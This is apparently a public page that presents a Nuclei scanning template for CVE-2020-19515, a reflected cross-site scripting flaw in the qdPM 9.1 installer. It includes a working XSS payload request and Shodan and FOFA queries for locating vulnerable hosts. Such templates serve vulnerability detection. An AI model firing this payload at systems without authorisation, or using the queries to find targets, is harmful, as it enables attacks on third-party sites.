CVE-2020-19515: qdPM 9.1 - Cross-site Scripting

2025-08-01 qdPM PoC Public

Description

qdPM V9.1 is vulnerable to Cross Site Scripting (XSS) via qdPM\install\modules\database_config.php.

PoC

id: CVE-2020-19515

info:
  name: qdPM 9.1 - Cross-site Scripting
  author: theamanrawat
  severity: medium
  description: |
    qdPM V9.1 is vulnerable to Cross Site Scripting (XSS) via qdPM\install\modules\database_config.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.
  reference:
    - https://topsecalphalab.github.io/CVE/qdPM9.1-Installer-Cross-Site-Scripting
    - http://qdpm.net/download-qdpm-free-project-management
    - https://nvd.nist.gov/vuln/detail/CVE-2020-19515
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-19515
    cwe-id: CWE-79
    epss-score: 0.01789
    epss-percentile: 0.77227
    cpe: cpe:2.3:a:qdpm:qdpm:9.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: qdpm
    product: qdpm
    shodan-query: http.favicon.hash:762074255
    fofa-query: icon_hash=762074255
  tags: cve2020,cve,xss,qdpm,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/install/index.php?step=database_config&db_error=<img%20src=x%20onerror=alert(document.domain)%20/>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain) />'
          - 'qdPM'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b80bd7d42151d3952e1b1cfa846e90e379c2507c9296dc1c128b7824dcbe1dcf0220183e95c0013f6f6d578885361c04adf4e679fd74c00f8e6abc49851792ffd041:922c64590222798bb761d5b6d8e72950

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